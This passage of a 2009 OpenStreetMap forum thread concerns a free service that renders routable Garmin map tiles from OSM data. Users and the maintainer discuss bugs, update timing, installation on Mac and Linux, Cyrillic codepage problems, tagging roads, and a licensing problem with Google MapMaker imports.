The tiles I selected are for eastern Canada and northeastern USA.
Thanks for your helpThis is a known bug (that has been discussed in this thread a few times before 😛 ) I'm working on an update for America which has been built with new software that should fix this. It should be online within a few hours.
- Re: Worldwide routable Garmin maps: URL REMOVED · Uebermann (Gast) · 31.08.2009 15:59 · [flux]
Hi Lambertus. I wanted to thank you for the site. I just found out about OpenStreetMaps last night and was having problems getting things to work right from the wiki. I searched and found your thread here, used your tool, and was able to take the .img file directly from the emailed link and it worked like a charm on my 255w.
Thanks for all the work put into it! It makes doing this stuff too easy for a nub like me.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 31.08.2009 17:27 · [flux]
Lambertus wrote:
This is a known bug (that has been discussed in this thread a few times before 😛 ) I'm working on an update for America which has been built with new software that should fix this. It should be online within a few hours.
Good news:
A new set of tiles for North/South America is uploaded and the blue tiles should work fine. The red tiles have to be split again which will happen in the coming weeks, but it will be a slow process so relax. Looking at America you might think it look worse then before because of all the red tiles, but the tiles that are blue are actually much better then before: Instead of containing often only nodes and POI the American tiles now also include the ways and other OSM features. I hope the people from the America's will enjoy this 😄During the update process I had to remove every existing map cache that included American tiles (73240xxx.img). I hope this didn't hit too many people. I hope the improved American tiles will compensate any inconvenience and if not, sorry...
Uebermann wrote:
Hi Lambertus. I wanted to thank you for the site. I just found out about OpenStreetMaps last night and was having problems getting things to work right from the wiki. I searched and found your thread here, used your tool, and was able to take the .img file directly from the emailed link and it worked like a charm on my 255w.
Thanks for all the work put into it! It makes doing this stuff too easy for a nub like me.
You're welcome 🙂 I hope anyone who finds this service useful will consider doing something back for OpenStreetMap.
- Re: Worldwide routable Garmin maps: URL REMOVED · cacheurs (Gast) · 31.08.2009 22:09 · [flux]
Thank you Lambertus. And I took your advice: worked on OpenStreetMap for my neighborhood and fixed a few things.
- Re: Worldwide routable Garmin maps: URL REMOVED · Stang (Gast) · 31.08.2009 22:19 · [flux]
A huge thank you Lambertus. I'll give this a try when I get home from work today - I am one of the lucky "blue tiles". You are providing a great service for the community and things like this help raise awareness and involvement in OpenStreetMap.
Indeed, I have been discovering more and more of OpenStreetMap as of late, even without being able to use the maps on my GPS. It's actually quite addictive for some reason - naming roads near me, fixing errors, etc. It'll be great to be able to see/use some of that work on my GPS unit now too.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 31.08.2009 22:41 · [flux]
Oh yes, OSM is highly addictive. I guess they should put up a banner on the main site warning every newcomer about this danger. But, on the other hand, if you go around e.g. cycling while mapping then it will be healthy for your body. 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · Stang (Gast) · 01.09.2009 16:05 · [flux]
I loaded the my map on yesterday and it works brilliantly. Thanks again. It is amazing how many unconnected nodes and other small errors that you can find when you actually try a few routes.
Quick question though: how frequently do the maps get refreshed for North America? If I go ahead and make some changes on OSM, when should I download a revised version to test them out on the GPS? Is there a set schedule (every other Monday or something) or is it a little more random than that?
I'm certainly not "requesting" - just asking. You've already done a lot of work. I'm just curious how often I should download so I don't waste server bandwidth downloading maps that I already have.
Thanks again - this is awesome.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 01.09.2009 17:06 · [flux]
I try (mind the word 'try') to update the maps once a week. But knowing the amount of work to get just this render of America working, it wouldn't be realistic to say that America will have weekly updates in short term. When my tools get better and my home internet connection finally gets delivered and perhaps a bit more ram for my laptop, then update frequencies will go up.
Just keep an eye on the planet date as displayed below the map to know whether an update has arrived.
- Re: Worldwide routable Garmin maps: URL REMOVED · Spindoc Bob (Gast) · 03.09.2009 02:28 · [flux]
Spindoc Bob wrote:
One issue I have found with the maps is that they render a particular (unique) setting as a thick purple line. This makes the map confusing to read. It is a set of lines used to define the boundaries for suburbs as defined by the Australian Bureau of Statistics. They include the following attributes:
Just following up on my post from a few week's ago. Is this something you are able to change?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 03.09.2009 09:08 · [flux]
I don't maintain my own stylesheet for Mkgmap because I really don't have the time to do that, so I'm using the default stylesheet that comes with Mkgmap. Therefore I sent an email to the Mkgmap mailinglist to address this, but I admit that I haven't been following it up properly.
If you have a patch to move the boundaries to a higher zoomlevel, then I can post that on the Mkgmap mailinglist.
- Re: Worldwide routable Garmin maps: URL REMOVED · acrosscanadatrails (Gast) · 05.09.2009 20:20 · [flux]
Hi,
A quick note to say thanks!
Great work!
I just want to apologize, as i accidentally made a request for all of Canada. Where i should have just saved those IMG files for each tile, then i could have made my own garmin installer from it. I think the zoom would work fine.Unfortunately, there is no way to cancel it, but it shoudn't happen again.
Anyway, once the installer is loaded, i think it shoudn't be much trouble to re-compile it with Inno Setup & mapsettoolkit.
Best,
Sam Vekemans
Across Canada TrailsBTW, im using the Openmtb.org style sheet, and it looks AWESOME!
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 08.09.2009 20:11 · [flux]
acrosscanadatrails wrote:
I just want to apologize, as i accidentally made a request for all of Canada. Where i should have just saved those IMG files for each tile, then i could have made my own garmin installer from it. I think the zoom would work fine.
Unfortunately, there is no way to cancel it, but it shoudn't happen again.
Anyway, once the installer is loaded, i think it shoudn't be much trouble to re-compile it with Inno Setup & mapsettoolkit.
You don't need to apologize at all. If the server accepted your request then that's just fine. The tile limit was built-in because there were too many people who requested either all of the world or most of it, which is a user case that is not targetted by this service. Ofcourse downloading your country should not be a problem (unless we're talking about the USA, which is the exception to the rule).
BTW, im using the Openmtb.org style sheet, and it looks AWESOME!
Yes, it's a very nice stylesheet. I'm planning to have a few stylesheets selectable.
- Re: Worldwide routable Garmin maps: URL REMOVED · mtrax (Gast) · 08.09.2009 23:42 · [flux]
Can you please setup a "predefined map" for "Australia & NZ":
Maps:
* 63240003.img
* 63240006.img
* 63240007.img
* 63240008.img
* 63240009.img
* 63240010.img
* 63240011.img
* 63240012.img
* 63240013.img
* 63240018.img
* 63240019.img
* 63240020.imgThanks
- Re: Worldwide routable Garmin maps: URL REMOVED · chris66 (Gast) · 13.09.2009 11:30 · [flux]
Hi,
the maps also work for Linux (with qlandkartegt software), but you have to unpack the
.exe first on a windows computer.So maybe the img-Tiles could also be provided as an archive for linux (no .exe) ?
Thanks
Christian
- Re: Worldwide routable Garmin maps: URL REMOVED · Vclaw (Gast) · 13.09.2009 13:39 · [flux]
chris66 wrote:
the maps also work for Linux (with qlandkartegt software), but you have to unpack the
.exe first on a windows computer.So maybe the img-Tiles could also be provided as an archive for linux (no .exe) ?
Its possible to extract the files from the .exe on Linux using p7zip. You need to use the "7z" command, which is part of the p7zip-full package.
Though a standard zip file with the img tiles in would be easier and more convenient. - Re: Worldwide routable Garmin maps: URL REMOVED · Namec (Gast) · 13.09.2009 17:14 · [flux]
Great initiative,
tried to use Mkgmap, but with no succes it's too hard for me.
but since google realesed mapmaker data added by the community, a lot of data where uploaded to OSM, and refreshing the servers data, will be a great thing. hope to see new fresh data soon
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 14.09.2009 16:02 · [flux]
Namec wrote:
but since google realesed mapmaker data added by the community, a lot of data where uploaded to OSM, and refreshing the servers data, will be a great thing. hope to see new fresh data soon
Do you say you've uploaded data from Google MapMaker to OSM? This is a huge violation of our policy that only your OWN data or public domain data or data that that has specifically been allowed to be imported in OSM is imported. You should remove the Google MapMaker data from OSM as soon as possible!
MapMaker license wrote:
Please don't use the Map Maker Source Data if: (a) you are a for-profit entity; or (b) you want to use the map data for any commercial purpose; or (c) you want to create a mapping service (such as driving directions); or (d) you want to create any other service that is similar to a service already provided by Google through its products and APIs. Instead, please consider using the Google Maps APIs or Google's other products under the terms of service associated with those products.
This denies the use of MapMaker data in OSM!
- Re: Worldwide routable Garmin maps: URL REMOVED · Namec (Gast) · 16.09.2009 23:47 · [flux]
OK !!!
thats ok, i hade marked for delete the roads upladed, but i had kept on OSM, all what i had done before Myself on GMM, all the nights spent on GMM before i discovred OSM.
and what about the refreshed Data to generat Garmin rootable maps in http://garmin.na1400.info/routable.php
i'll love see what i hade done for my nighboorhoodLet the force be with you
Namec - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 17.09.2009 08:26 · [flux]
Sorry that you had to delete the roads which you worked on so hard. But the license of GMM says that Google owns the roads that you worked on instead of yourself, so it really isn't allowed to import GMM data that you created into OSM. Sad but true.
I have been on holiday so I haven't had time to start working on improving the garmin maps again.
- Re: Worldwide routable Garmin maps: URL REMOVED · Skywoolf (Gast) · 17.09.2009 13:04 · [flux]
The maps are far better than the alternative I have and I would like to help fill in some of the blanks but I cant get the map to transfer to my GPS.
I am using only Mac computers and a Garmin Nuvi 265WT I have garmin Roadtrip, Garmin Mapinstall, Garmin Mapmanager and garmin POI Loader.
I downloaded two blocks that cover the Philippines and Hong Kong (I have homes in both places)
Garmin RoadTrip shows the Map on the Mac OK except the sea and land are all the same color.
When I use the Philippines Routable map from another source and use RoadTrip to transfer WayPoints it normally asks if I want to transfer the map but It does not ask when I am using the OSM World Routable map and does not send it to the GPS.
Even if I change the preferences to always transfer the map it just sends the waypoints but no map.
I am stuck. Can anyone suggest what to try?
Thanks
- Re: Worldwide routable Garmin maps: URL REMOVED · Namec (Gast) · 17.09.2009 13:32 · [flux]
ok, everything done,
Now waiting everyday that you make the new OSM data avaible for download
while waiting i'll try to learn how to do it my self.
(if you have any tutorial to make this happens, please share it)Let the force be with you
- Re: Worldwide routable Garmin maps: URL REMOVED · Skywoolf (Gast) · 17.09.2009 14:08 · [flux]
Problem solved.
For the benefit of other Mac users here is what I did.
I double clicked the Garmin disk on the desktop to open it. Then opened the Garmin folder and there was a gmapsupp.img file so I changed the name to keep it as a backup and copied the downloaded gmapsupp.img file to replace it.
I then checked the GPS and the new map was there but not showing most of the details and roads were incomplete. I figured the map maybe too big for my little GPS so I downloaded only the Philippines block (The top is chopped off but that is not important to me). I then replaced the gmapsupp.img file again and checked.
The new map is there complete with all the details.
Many thanks
- Re: Worldwide routable Garmin maps: URL REMOVED · Buadhai (Gast) · 18.09.2009 05:19 · [flux]
I tried to so something similar to Skywolf: I asked for two discontiguous map sets: part of California and all of Thailand. I downloaded this as a Garmin MapInstaller (OSM World Routable.gmapi) file. But, MapInstaller was unable to render a gmapsupp.img from this file.
I tried downloading the two maps separately, but MapInstaller would only install one of them. I tried renaming one of them, but that wouldn't work either.
Is there some way to download two separate maps from Lambertus' nice site and have MapInstaller install both of them?
The reason I want to do it this way is that I have other maps which I want to keep on the device (eTrex Vista HCx).
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 18.09.2009 08:13 · [flux]
If you download two sets of maps with the same map product and family id's then it's no wonder that MapInstaller can't make anything out of it. It's the same with MapSource under Windows. I plan to make the product and family id's configurable so that you can make sure that they are different when requesting different maps, but I haven't had time to do that yet. So you have two options: use a tool to combine the downloaded maps yourself. Or request the California and Thailand tiles in the same request so that they will be combined by the server.
- Re: Worldwide routable Garmin maps: URL REMOVED · Buadhai (Gast) · 18.09.2009 09:14 · [flux]
The problem is that when I requested the California and Thailand tiles in the same request MapInstaller was unable to generate the image file. It crashes every time. If I ask it to install either the California tiles only or the Thailand tiles only, it works, but crashes if I ask it to install both sets.
- Re: Worldwide routable Garmin maps: URL REMOVED · Kevin Yank (Gast) · 20.09.2009 03:37 · [flux]
I’m having trouble using the Thailand tile. Although it displays (mostly) fine in Garmin RoadTrip on my Mac, Garmin MapInstall crashes before displaying the list of installed maps on the system.
- Re: Worldwide routable Garmin maps: URL REMOVED · reinholdM (Gast) · 24.09.2009 11:01 · [flux]
Hello Lambertus,
I was wondering if you plan an update of your world map in the near future...Thanks,
reinhold - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 24.09.2009 12:07 · [flux]
mtrax wrote:
Can you please setup a "predefined map" for "Australia & NZ":
Done.
Buadhai wrote:
The problem is that when I requested the California and Thailand tiles in the same request MapInstaller was unable to generate the image file. It crashes every time. If I ask it to install either the California tiles only or the Thailand tiles only, it works, but crashes if I ask it to install both sets.
Kevin Yank wrote:
I’m having trouble using the Thailand tile. Although it displays (mostly) fine in Garmin RoadTrip on my Mac, Garmin MapInstall crashes before displaying the list of installed maps on the system.
I have no idea what causes the crashes, but please make sure you do not select red tiles if you plan to use the maps with MapInstaller or Garmin RoadTrip on Mac OSX. Please let me know if that helps.
reinholdM wrote:
I was wondering if you plan an update of your world map in the near future...
The update is currently running. I hope to be able to upload it tomorrow.
Edit: Err no, I just realized that the current update is going to cause a lot of red tiles in Europe. I'm going to need some script changes before I can deploy a new update which will be next week hopefully.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 01.10.2009 20:21 · [flux]
Two versions have been released soon after each other this week, built with a new script that recursively tries to render each tile until it could successfully be rendered. There are still a few red tiles, but these are caused by crashes of the Java VM while rendering the tile and these crashes are not detected yet.
The tiles that needed a recursive re-split and render (because the original render failed) can have inter-tile routing problems. A solution has been discussed but may take some time to implement. You can recognise a re-split tile by the borders that overlap a neighbouring tile.
The new method of rendering also invalidates the pre-defined country tile selections that were used before. I've disabled the pre-defined country selection until things calm down a bit.
- Re: Worldwide routable Garmin maps: URL REMOVED · Skywoolf (Gast) · 03.10.2009 12:03 · [flux]
I have started Mapping Samal Island, Davao, Philippines as less than 30% of the roads are currently on the map and there are a good many people there using a GPS.
I sent my first part a few days ago which included a couple of locations, quite a few miles of roads and a corrected coast line on part of the East coast. I am hesitant to send more until I know if what I sent the first time is OK.
Can you give any idea or estimate how long it takes for something like this to be added to the map for download? Do you notify the contributor if/when the contribution is accepted or rejected?
Thanks and regards
Frank
- Re: Worldwide routable Garmin maps: URL REMOVED · Seldom (Gast) · 03.10.2009 16:05 · [flux]
If you uploaded your data using any of the techniques described below, it should be visible in Potlatch map almost immediately. If your tracklogs don't have a valid time stamp, the server will reject them. Time stamps aren't as much of a problem in JOSM, because you can convert the tracklogs into way types, and upload the ways. Again you should be able to see the uploaded ways in Potlatch almost immediately.
Of course Potlatch works better if you have a fast internet connection. I don't know what it's like in your area.
http://wiki.openstreetmap.org/wiki/Upload
- Re: Worldwide routable Garmin maps: URL REMOVED · Skywoolf (Gast) · 04.10.2009 00:23 · [flux]
Thanks this is good news. I uploaded using JOSM (Macintosh computer) but nothing has changed so obviously I did something wrong. I also have no idea what Potlatch is yet.
I didn't do any conversion in JOSM. I just did the corrections, added the roads and places from my Nuvi 265W and uploaded the folder containing the roads and locations.
I need to learn a bit more and try again. I used to love complicated gadgets but at 65 my brain and memory are not so good as they were and the terminology here is all different to what I am used to.
My internet connection is not good at all but what I am uploading is not a very big file file.
- Re: Worldwide routable Garmin maps: URL REMOVED · Seldom (Gast) · 04.10.2009 14:17 · [flux]
I don't understand what you say about uploading a "folder with corrections".
When I use JOSM, I:
1) Download an area to work on from JOSM.
2) Make additions or corrections.
3) Upload corrections from inside the same JOSM session when I'm done.If you upload from inside the JOSM session you should get a dialog box identifying which items will be uploaded (only the changes will be uploaded) and see a progress bar during the upload.
Potlatch is the on screen editor you get when you click on the "Edit" button on the main map display.
I've got a fast fiber connection here in the US, so I don't know what to expect if you get transmission errors, but I do know that sometimes the server gets cranky.
Nice looking bike....
- Re: Worldwide routable Garmin maps: URL REMOVED · Skywoolf (Gast) · 05.10.2009 00:05 · [flux]
Thanks. I think I did everything the same and I did get an upload progress bar and confirmation so it may be the server lost it. I will try again today when I have prepared the tracks I did yesterday.
I doubt if the connection speed is a problem because what I am uploading is not huge file sizes. If I upload using JOSM does it still show up almost immediately so I can see if it was successful?
I sold the bike a while back but I miss it. 🙁
Thanks again
- Re: Worldwide routable Garmin maps: URL REMOVED · Buadhai (Gast) · 05.10.2009 01:40 · [flux]
I wonder if Skywolf is asking the following:
If I add/edit OSM data, by whatever method, how long does it take my additions and edits to show up in the downloadable map created by Lambertus?
Perhaps I can offer a partial answer. I downloaded two Thailand tiles today (October 5, 2009) from Lambertus. Edits that I made on September 7th show up. Edits that I made on On September 8th and following do not.
- Re: Worldwide routable Garmin maps: URL REMOVED · Skywoolf (Gast) · 05.10.2009 04:51 · [flux]
Thanks I am starting to get the hang of it. Today I reloaded the tracks from my GPS into JOSM but instead of just uploading I used the draw nodes tool to trace the tracks and correct minor errors. Then I uploaded.
I quit JOSM and then opened it again and downloaded the map again. The roads I added are there with grey lines but when I download the Philippines tile for my GPS they are not there so I assume from this they will show on the Philippines tile after Lambertus has checked and approved or copied to the tile or something.
If I am sure I am doing it right I will continue mapping more roads and places but I don't want to do too many hours of work and driving only to find it is wrong and I have to start over again.
I got errors saying the tracks were not named and there were no tags but these roads have no names yet so should I name them by when they start and finish, like "Del-Monte to Kaputian Road"? I don't know what the tags are so I need to look for information on that. In JOSM there is just a grayed out "Paste Tags" in the menu.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 05.10.2009 17:23 · [flux]
To clear things up a bit:
With the JOSM and Potlatch editors you manipulate the OpenStreetMap database. A dump (copy/backup) of this database is made available every Wednesday (somewhere during the evening mostly). I try to download the this dump every week on Thursday and start rendering the tiles that you can download from my website. This takes a few days, so the following Monday a new version of the Garmin maps is released unless things did not work or big changes in the rendering tools are being made. So sometimes it takes almost a month to release a new version (like it did last month).
The thing that you need to be aware of is: The data that you see in your editor might not yet be visible in the OSM website slippy map (but will be within minutes after you hit 'upload' mostly) and it might take a lot longer for your edits to show up in third-party applications like my Garmin maps.
Regarding the freshness of the OSM data in the Garmin maps: the date of the OSM database dump from which the Garmin maps is rendered is shown below the map on the routable Garmin webpage.
- Re: Worldwide routable Garmin maps: URL REMOVED · MikeN (Gast) · 05.10.2009 17:24 · [flux]
Skywoolf wrote:
I quit JOSM and then opened it again and downloaded the map again. The roads I added are there with grey lines but when I download the Philippines tile for my GPS they are not there so I assume from this they will show on the Philippines tile after Lambertus has checked and approved or copied to the tile or something.
Hi, the roads will not show up without tags because there is no way to know what the lines mean: they could mean administrative boundary, a dam, or a fence. You could set the type of road
highway=motorway
highway=primary
highway=secondary
highway=tertiary
highway=residentialbut do this only if you know the road officially does not have a name. If the road has a name, but you haven't yet gathered the name information, use just
highway=roadThat allows the road to be drawn and routed. It is also an implied placeholder for future reference that more information will be needed to better map the road. It is better not to assign a name unless you know of the correct name.
In addition, there may be a delay between your uploading road definitions from JOSM until they are integrated into a new Tile download; I'm not sure. Some systems update daily - others update weekly or every other week. (There's a huge amount of change data to process worldwide)
Skywoolf wrote:
I don't know what the tags are so I need to look for information on that. In JOSM there is just a grayed out "Paste Tags" in the menu.
An good reference for tags is in the Wiki http://wiki.openstreetmap.org/wiki/Map_Features. "Paste Tags" is normally only used in cases where you need to copy tags from one item to another - such as after creating a new road that matches all attributes of another road.
Also the page at http://wiki.openstreetmap.org/wiki/Edit … onventions contains a list of tips for making maps, such as making sure streets are connected, etc.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 05.10.2009 21:52 · [flux]
Lambertus wrote:
Garmin uses different kinds of character encoding in different products. Afaik there is no solution to build one map that suits all those devices and applications. I choose to use the international name first, followed by the English name etc. in an attempt to keep the map readable for as many as possible.
But there is something more. I did not read about that in the forum.
A 60Cx will often show ??????? for placenames in cyrillic characters. The question is where do these ?????? come from?
Well they are already in the .img file. (gmapsupp.img or an .img file downloaded from .../routable.php. Today I downloaded 63240168.img).If the .img file really contains cyrillic characters you will see not ????? but all kind of funny symbols.
Your Img files made with mkgmap contain ?????. ( I have .img files here made with cgpsmapper that really contain the cyrillic text).
--name-tag-list=int_name,name:en,name
Is not enough because when int_name and name:en are empty mkgmap does not put the cyrillic characters (from name) in the resulting .img file but ?????'s. This is -maybe- because these characters are not in the used codetable. If they are not in the table a ? is placed. Better would be to put the original value in the img file.If the .img file contains cyrillic characters then a transliteration can be done to latin ones. This can be done afterwards on the img file itself.
If you download a map for the Ukrain from http://www.team-oid.de/garmin_maps/ then you get three .img files which contain cyrillic characters. I just put one of the files (72840001.img) in the 60 Cx and saw the funny symbols. Then I transliterated the file. Now the names are readable. These files are made with mkgmap too. How? I dont know. Maybe a cyrillic code table?
Hope this knowledge helps.
- Re: Worldwide routable Garmin maps: URL REMOVED · DaveF (Gast) · 05.10.2009 23:09 · [flux]
Hi
These maps are fantastic.
To allow automatic downloads of the tiles I require would it be possible to instead of placing the latest versions in dated folders eg
http://planetosm.oxilion.nl/~lambertus/ … 2009/*.img
put them in a consistent named folder:
http://planetosm.oxilion.nl/~lambertus/ … test/*.img
And I'm not sure how easy this would be, but would it be possible to send out reminder emails when they are updated?
Cheers
Dave F. - Re: Worldwide routable Garmin maps: URL REMOVED · Skywoolf (Gast) · 06.10.2009 02:07 · [flux]
Thanks Lambertus,
If I understand you correctly, under normal conditions the data I upload (with tags) will show almost immediately in the on-line map. It will then be included in the backup dump on the following Wednesday. Then on the following Monday it will be included in the downloaded tile.
Is this correct?
Many thanks for all the work you are doing.
P.S. Nobody who lives in the area knows of any names for the roads I am mapping so I am assigning descriptive names which are more useful anyway. Am I correct that I can change these names later if the roads are named and change the tags if the current tracks are paved? They are paving some of the roads now.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 06.10.2009 08:16 · [flux]
Skywoolf wrote:
If I understand you correctly, under normal conditions the data I upload (with tags) will show almost immediately in the on-line map. It will then be included in the backup dump on the following Wednesday. Then on the following Monday it will be included in the downloaded tile.
Is this correct?
Yes, just keep an eye on the planet dump date below the map in the webpage where you can request the routable Garmin maps. Monday isn't fixed.
Many thanks for all the work you are doing.
No worries 🙂
P.S. Nobody who lives in the area knows of any names for the roads I am mapping so I am assigning descriptive names which are more useful anyway. Am I correct that I can change these names later if the roads are named and change the tags if the current tracks are paved? They are paving some of the roads now.
If a road doesn't have an official name then the local name is best ofcourse. If a name proves false afterwards then you (or anyone else) can change it.
DaveF wrote:
To allow automatic downloads of the tiles I require would it be possible to instead of placing the latest versions in dated folders eg
http://planetosm.oxilion.nl/~lambertus/ … 2009/*.img
put them in a consistent named folder:
http://planetosm.oxilion.nl/~lambertus/ … test/*.img
And I'm not sure how easy this would be, but would it be possible to send out reminder emails when they are updated?
That would be useful if the tile number en position would not change between updates, but that is not guaranteed in any way. So there is no use (imo) to make some sort of permalink.
@Greencaps
The problem (I think) is:
- each image must use a code-page
- there is no code page that suits every language (UTF-8 is not supported in many devices)
- tiles often span multiple countries with languages that don't match a single code-page
So a solution is to specify a code page for each tile but, since the layout of the tiles often differs quite a bit, this is not workable for me (I don't want to spend all my spare time on the Garmin maps). So I chose to try to generate tiles that work in most cases and automate as much as possible.Work is being done in trying to create tiles that line up with country borders which will make specifying different code-pages for each tile much easier. I'll wait with different code-pages until there are country borders or another easy method (easy=automatic or possible to automate). Specialty maps are intentionally not my goal!
- Re: Worldwide routable Garmin maps: URL REMOVED · Skywoolf (Gast) · 06.10.2009 08:28 · [flux]
Many thanks.
I feel a lot more comfortable with the system now I understand it better and will add as much as I can.
- Re: Worldwide routable Garmin maps: URL REMOVED · weolvi (Gast) · 08.10.2009 10:45 · [flux]
Lambertus wrote:
You can recognise a re-split tile by the borders that overlap a neighbouring tile.
The reason for the strange overlap effect could be that you didn't use proper rounding during the re-split. Coordinates in map units for the tile splitter (or mkgmap?) have to be rounded to eleven or so binary zeros.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 08.10.2009 14:56 · [flux]
weolvi wrote:
Lambertus wrote:
You can recognise a re-split tile by the borders that overlap a neighbouring tile.
The reason for the strange overlap effect could be that you didn't use proper rounding during the re-split. Coordinates in map units for the tile splitter (or mkgmap?) have to be rounded to eleven or so binary zeros.
From how I understand it: Splitter adds a bit more area then required to the split output which is why you see some tiles overlap now. Splitter also adds some information about the target area in the resulting osm file which is used by Mkgmap. If Splitter would use this information during the re-split as well then the problem would be solved. The maintainer of Splitter is planning to add this by the end of this month. That's what I'm waiting for...
- Re: Worldwide routable Garmin maps: URL REMOVED · averater (Gast) · 11.10.2009 19:36 · [flux]
I don't know if this has been suggested before but the search returned 0 hits.
I would prefer if the map (entire world) was downloadable as a torrent. I have lots of disk space and fast enough internet connection. I don't know how much bandwidth usage you got on the server but if you got more than what the entire world is to download and enough people choose to download the torrent that should save bandwidth for you.
I'd like to have the entire world since it is such a lot of clicking to choose all the tiles i want each map update. Or is it fixed so that one can download only the tiles one need and keep the rest with the autoinstaller (.exe version)?
- Re: Worldwide routable Garmin maps: URL REMOVED · Skywoolf (Gast) · 12.10.2009 01:59 · [flux]
Personally I really hate using torrent but what I don't see is how changing to a different file format/download method would save bandwidth.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 12.10.2009 08:22 · [flux]
averater wrote:
I don't know if this has been suggested before but the search returned 0 hits.
Yes, it's been suggested before, but the search doesn't work that well atm...
I would prefer if the map (entire world) was downloadable as a torrent. I have lots of disk space and fast enough internet connection. I don't know how much bandwidth usage you got on the server but if you got more than what the entire world is to download and enough people choose to download the torrent that should save bandwidth for you.
It's a good idea and should be doable for the server. I'll look into this.
I'd like to have the entire world since it is such a lot of clicking to choose all the tiles i want each map update. Or is it fixed so that one can download only the tiles one need and keep the rest with the autoinstaller (.exe version)?
But this is the problem... You can't use an installer that came with another map from my site to install the whole world. So I probably should provide a torrent with all the tiles and also include an installer.exe that just creates the registry keys.
Skywoolf wrote:
Personally I really hate using torrent but what I don't see is how changing to a different file format/download method would save bandwidth.
Don't worry, the torrent thing is just extra: and link on the main page to the torrent. The rest of the site will remain the same.
Also, the update for this week is delayed: The planet dump from last week was corrupted and fixing it took much longer then expected.
- Re: Worldwide routable Garmin maps: URL REMOVED · Skywoolf (Gast) · 12.10.2009 11:28 · [flux]
Thanks I have been checking every day 🙂
Maybe you can answer a question for me.
I have added a lot of roads and because they are all unsurfaced I have tagged them as tracks. But - A large percentage of the roads in the area are unpaved even though they are sometimes relatively major roads by local standards.Am I doing the right thing or should they be tagged as tertiary or something?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 12.10.2009 13:30 · [flux]
Well this is not a question for this topic, but a major road should have a major indication (like primary, secondary, tertiary). You can add additional information about the road characteristics like surface, quality, width etc.
- Re: Worldwide routable Garmin maps: URL REMOVED · Skywoolf (Gast) · 12.10.2009 13:53 · [flux]
OK will do. Thanks
- Re: Worldwide routable Garmin maps: URL REMOVED · averater (Gast) · 12.10.2009 16:51 · [flux]
Lambertus wrote:
It's a good idea and should be doable for the server. I'll look into this.
Great!!!! Many thanks!
- Re: Worldwide routable Garmin maps: URL REMOVED · Skywoolf (Gast) · 15.10.2009 04:45 · [flux]
Help!
I noticed the date under the map has changed to 7/10/2009 which I am sure is after I added a lot of roads to Samal, Philippines. So I downloaded the map but none of the added roads show in Roadtrip. Should I wait for the next date change or is it something I have done wrong?Thanks
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 15.10.2009 08:32 · [flux]
Please edit your previous post and add a OSM permalink to the area in question (which you can get from the lower right corner on the main OSM website map).
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 15.10.2009 10:38 · [flux]
Thank you for reacting. I'm trying to understand the whole process of generating tiles and .img files.
So see following remarks and questions in this perspective please.- each image must use a code-page
You mean the .img files as can be downloaded from your .../routable.php ?
Ok. But then if I download two of them. Each with a different codepage and combine them before
putting a gmapsupp.img in the device. Does the device use both codepages then?For a good understandig: You are not referring to above files further as tiles are you? If so then I have to rethink this problem. For me tiles are the pictures as delivered by tileservers. Those tileservers can easily use a different codepage for every tile they deliver. Upon further thinking: that maybe brings the same problem..
- there is no code page that suits every language (UTF-8 is not supported in many devices)
Ok.
- tiles often span multiple countries with languages that don't match a single code-page
That looks a minor problem to me. That is only a small amount compared to the rest of the tiles for a country. If the placenames for Russia were ok but for the frontiertowns I think people would be glad already.
So a solution is to specify a code page for each tile but, since the layout of the tiles often differs quite a bit, ....
But what do you mean with it's layout?
Work is being done in trying to create tiles that line up with country borders which will make specifying different code-pages for each tile much easier.
Dou you mean tiles with curved lines?
I'll wait with different code-pages until there are country borders or another easy method (easy=automatic or possible to automate).
Aren't the borders marked as such in the osm.xml file that you can get from a piece of earth?
If you could get a 'way' (lat,lons in a .gpx-file or so) representing the frontier of Russia and hence it's area. Then for every tile you only needed a function like:
if ( center of tile is in area )
take cyrillic codepage for this tileYou see: I'm busy thinking about the ???? problem. I do understand that you have to choose a codepage. But you did not convince me that these ???? are unavoidable. I think that you cannot do anything further, it's mkgmap that places a '?' when the character can not be found in the codepage. If mkgmap just would place the original value instead of a '?' it would already be much better I think.
I'm thinking of another solution.
You use something like --name-tag-list=name:en,int_name,name. That could be easily changed to --name-tag-list=name:en,int_name,name:trans,name. With name:trans I mean a transliterated name. Now there is not such a tag in openstreetmap as far as I know on the moment. But one is allowed to define new tags. My idea is to write a program that downloads osm data for an area. (I know how to do that). Then look for above mentioned tags. If int_name and name:en where absent then name could be transliterated (automatically is simple) and added in that data as name:trans. (I know how to do that also). But then new data has to be uploaded. I do not know how such 'addings' have to be send and to whom.At the moment I could manage everything but for 'uploading'. How does one change data or add a tag to existing? I know that I have to ask that somewhere else. I will do that if my idee looks doable. Any ideas?
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 15.10.2009 10:49 · [flux]
Ha.. As soon as after having formulated the problem new ideas arise. Why not add a name:en when it's missing. Is there a webpage/service where can be asked for an english translation of a russian (town)name? If so then I could better add the name:en. (I know for instance that google delivers coordinates (lon,lot) if you send Land,Place,Street.)
- Re: Worldwide routable Garmin maps: URL REMOVED · Skywoolf (Gast) · 15.10.2009 11:09 · [flux]
Lambertus wrote:
Please edit your previous post and add a OSM permalink to the area in question (which you can get from the lower right corner on the main OSM website map).
